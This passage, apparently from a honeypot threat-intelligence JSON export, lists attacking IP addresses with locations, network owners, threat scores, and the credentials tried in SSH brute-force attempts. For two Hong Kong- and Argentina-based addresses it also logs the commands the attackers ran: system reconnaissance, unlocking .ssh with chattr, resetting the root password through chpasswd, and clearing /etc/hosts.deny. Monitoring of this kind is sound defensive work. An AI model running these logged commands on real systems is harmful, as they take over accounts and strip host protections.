      "first_seen": "2026-05-22T18:07:19.477Z",
      "last_seen": "2026-05-22T18:09:19.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guyana",
      "country_code": "GY",
      "city": "Georgetown",
      "asn": 19863,
      "as_org": "Guyana Telephone & Telegraph Co.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T18:07:19.477000+00:00",
        "last_seen_30d": "2026-05-22T18:20:02.141000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "196.188.226.12": {
      "attack_count": 2,
      "first_seen": "2026-05-17T05:23:46.780Z",
      "last_seen": "2026-05-17T05:24:01.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T05:23:46.780000+00:00",
        "last_seen_30d": "2026-05-17T05:25:02.891000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.238.34.218": {
      "attack_count": 2,
      "first_seen": "2026-05-18T22:32:17.935Z",
      "last_seen": "2026-05-18T22:32:30.732Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:32:17.935000+00:00",
        "last_seen_30d": "2026-05-18T22:33:40.527000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.96": {
      "attack_count": 2,
      "first_seen": "2026-05-28T02:35:51.954Z",
      "last_seen": "2026-05-28T02:36:01.771Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T01:15:00+00:00",
        "last_seen_30d": "2026-05-31T06:47:26.423000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 16,
        "Cowrie": 2,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "212.47.149.87": {
      "attack_count": 2,
      "first_seen": "2026-05-05T17:43:26.518Z",
      "last_seen": "2026-05-05T17:43:39.775Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Yevlakh",
      "asn": 8814,
      "as_org": "Aztelekom LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:43:26.518000+00:00",
        "last_seen_30d": "2026-05-05T17:44:42.228000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.184.242.183": {
      "attack_count": 2,
      "first_seen": "2026-05-14T18:45:13.012Z",
      "last_seen": "2026-05-14T18:45:26.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T18:45:13.012000+00:00",
        "last_seen_30d": "2026-05-14T18:46:30.099000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.79.63.131": {
      "attack_count": 2,
      "first_seen": "2026-05-28T10:09:12.609Z",
      "last_seen": "2026-05-28T10:09:43.239Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Bucheon-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T10:09:12.609000+00:00",
        "last_seen_30d": "2026-05-28T10:10:46.880000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "37.45.53.149": {
      "attack_count": 2,
      "first_seen": "2026-05-20T10:05:53.343Z",
      "last_seen": "2026-05-20T10:06:03.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Brest",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T10:05:53.343000+00:00",
        "last_seen_30d": "2026-05-20T10:07:07.024000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.79.219.16": {
      "attack_count": 2,
      "first_seen": "2026-05-19T20:24:09.898Z",
      "last_seen": "2026-05-19T20:24:09.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Chernousovo",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:24:09.898000+00:00",
        "last_seen_30d": "2026-05-19T20:25:17.550000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.159.162.220": {
      "attack_count": 2,
      "first_seen": "2026-05-02T16:51:02.593Z",
      "last_seen": "2026-05-02T16:51:15.987Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Quilmes",
      "asn": 265634,
      "as_org": "JR INTERCOM S.R.L",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:51:02.593000+00:00",
        "last_seen_30d": "2026-05-02T16:52:16.499000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.248.162.61": {
      "attack_count": 2,
      "first_seen": "2026-05-12T20:00:56.770Z",
      "last_seen": "2026-05-12T20:01:10.077Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 272809,
      "as_org": "THUNDERNET, C.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:00:56.770000+00:00",
        "last_seen_30d": "2026-05-12T20:02:15.141000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.36.201.34": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:02:46.599Z",
      "last_seen": "2026-05-02T08:02:59.495Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Srinagar",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:02:46.599000+00:00",
        "last_seen_30d": "2026-05-02T08:04:06.919000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.249.171.146": {
      "attack_count": 2,
      "first_seen": "2026-05-18T10:17:08.731Z",
      "last_seen": "2026-05-18T10:17:21.415Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T10:17:08.731000+00:00",
        "last_seen_30d": "2026-05-18T10:18:26.151000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.84.187.125": {
      "attack_count": 2,
      "first_seen": "2026-05-02T09:16:52.378Z",
      "last_seen": "2026-05-02T09:17:28.057Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:16:52.378000+00:00",
        "last_seen_30d": "2026-05-02T09:18:30.020000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "76.32.109.65": {
      "attack_count": 2,
      "first_seen": "2026-05-28T05:07:26.489Z",
      "last_seen": "2026-05-28T05:07:29.959Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T05:07:26.489000+00:00",
        "last_seen_30d": "2026-05-28T05:08:31.021000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.188.37.11": {
      "attack_count": 2,
      "first_seen": "2026-05-12T08:54:28.064Z",
      "last_seen": "2026-05-12T08:54:43.060Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:54:28.064000+00:00",
        "last_seen_30d": "2026-05-12T08:55:48.781000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "80.93.119.236": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:31:21.696Z",
      "last_seen": "2026-05-07T11:31:34.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Apostolove",
      "asn": 35320,
      "as_org": "Eurotranstelecom Ltd",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:31:21.696000+00:00",
        "last_seen_30d": "2026-05-07T11:32:35.117000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.167.239.100": {
      "attack_count": 2,
      "first_seen": "2026-05-02T01:12:08.937Z",
      "last_seen": "2026-05-02T01:12:22.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 35753,
      "as_org": "Etihad Salam Telecom CJSC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:12:08.937000+00:00",
        "last_seen_30d": "2026-05-02T01:13:29.996000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.80.163.214": {
      "attack_count": 2,
      "first_seen": "2026-05-19T11:24:39.394Z",
      "last_seen": "2026-05-19T11:24:57.156Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:24:39.394000+00:00",
        "last_seen_30d": "2026-05-19T11:26:06.240000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.153.34.97": {
      "attack_count": 4450,
      "first_seen": "2026-05-14T05:47:34.982Z",
      "last_seen": "2026-05-14T06:56:49.996Z",
      "sessions": 890,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "admin",
        "ftpuser",
        "ubuntu",
        "user",
        "deployer",
        "test",
        "oracle",
        "jenkins",
        "postgres",
        "alex",
        "git",
        "guest",
        "minecraft",
        "odoo",
        "bot",
        "cacti",
        "demo",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "P@ssw0rd",
        "p@ssw0rd",
        "123",
        "12345678",
        "1",
        "1234",
        "12345",
        "root",
        "1qaz@WSX",
        "admin",
        "111",
        "1111",
        "123456789",
        "Aa123456",
        "admin123",
        "1234567",
        "123root",
        "0000"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 6367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:47:34.982000+00:00",
        "last_seen_30d": "2026-05-14T06:57:54.758000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4450,
        "Suricata": 1917
      }
    },
    "210.16.100.120": {
      "attack_count": 1875,
      "first_seen": "2026-05-28T21:26:00.018Z",
      "last_seen": "2026-05-31T17:58:45.523Z",
      "sessions": 937,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 45.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3532,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T21:26:00.018000+00:00",
        "last_seen_30d": "2026-05-31T20:08:49.521000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1875,
        "Suricata": 1657
      }
    },
    "101.36.124.127": {
      "attack_count": 762,
      "first_seen": "2026-05-06T10:37:46.695Z",
      "last_seen": "2026-05-13T15:11:12.578Z",
      "sessions": 92,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "ali",
        "deploy",
        "test",
        "Ubuntu",
        "git",
        "ankit",
        "dev",
        "devops",
        "ensadmin",
        "ftp_user",
        "guest",
        "guest2",
        "labuser2",
        "mom",
        "mysql",
        "mysql1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1111",
        "!@#$%^&*()",
        "!Q2w#E4r",
        "!QAZ1qaz",
        "123",
        "12345678",
        "123456789123456789",
        "1q2w3e4r5t",
        "1qaz@WSX#EDC",
        "2",
        "20252025",
        "A@123456",
        "P@ssw0rd1",
        "Qwe123",
        "Qwe123321",
        "abc.123",
        "abc123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456789123456789\\n7IF2sxfQD9cx\\n7IF2sxfQD9cx\\n\"|passwd",
        "echo \"12345678\\nQadDoI0aikol\\nQadDoI0aikol\\n\"|passwd",
        "echo \"password1\\ngMpYESUaLqiG\\ngMpYESUaLqiG\\n\"|passwd",
        "echo \"root:fcW0DdMGgyae\"|chpasswd|bash",
        "echo \"ubuntu2022\\nLCVV6E38lsTk\\nLCVV6E38lsTk\\n\"|passwd",
        "echo -e \"123456789123456789\\n7IF2sxfQD9cx\\n7IF2sxfQD9cx\"|passwd|bash",
        "echo -e \"12345678\\nQadDoI0aikol\\nQadDoI0aikol\"|passwd|bash",
        "echo -e \"password1\\ngMpYESUaLqiG\\ngMpYESUaLqiG\"|passwd|bash",
        "echo -e \"ubuntu2022\\nLCVV6E38lsTk\\nLCVV6E38lsTk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 966,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:37:46.695000+00:00",
        "last_seen_30d": "2026-05-13T15:12:15.739000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 762,
        "Suricata": 204
      }
    },
    "41.60.251.181": {
      "attack_count": 678,
      "first_seen": "2026-05-19T18:19:19.018Z",
      "last_seen": "2026-05-23T05:33:22.253Z",
      "sessions": 339,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1017,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:19:19.018000+00:00",
        "last_seen_30d": "2026-05-23T05:34:30.763000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 678,
        "Suricata": 339
      }
    },
    "190.221.50.123": {
      "attack_count": 582,
      "first_seen": "2026-05-13T10:18:47.310Z",
      "last_seen": "2026-05-15T05:34:31.421Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "systemd-sync",
        "...",
        "dbus-helper",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "!^)$!(*&",
        "01234567",
        "100200300",
        "123321123",
        "123456",
        "142536",
        "1q2w3e4R",
        "2016",
        "2046",
        "41274127",
        "991992",
        "Aa98637381",
        "Anna",
        "Kermit123@",
        "Welcome@2019",
        "aa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"linux123\\nKV1asG4oTTxd\\nKV1asG4oTTxd\\n\"|passwd",
        "echo \"root:5rbwn3jj6JSD\"|chpasswd|bash",
        "echo \"root:T6F7yUAGlaJ1\"|chpasswd|bash",
        "echo \"root:yylkXcSD8m1y\"|chpasswd|bash",
        "echo \"warnight\\nA3ys9mdEfqb4\\nA3ys9mdEfqb4\\n\"|passwd",
        "echo -e \"linux123\\nKV1asG4oTTxd\\nKV1asG4oTTxd\"|passwd|bash",
        "echo -e \"warnight\\nA3ys9mdEfqb4\\nA3ys9mdEfqb4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
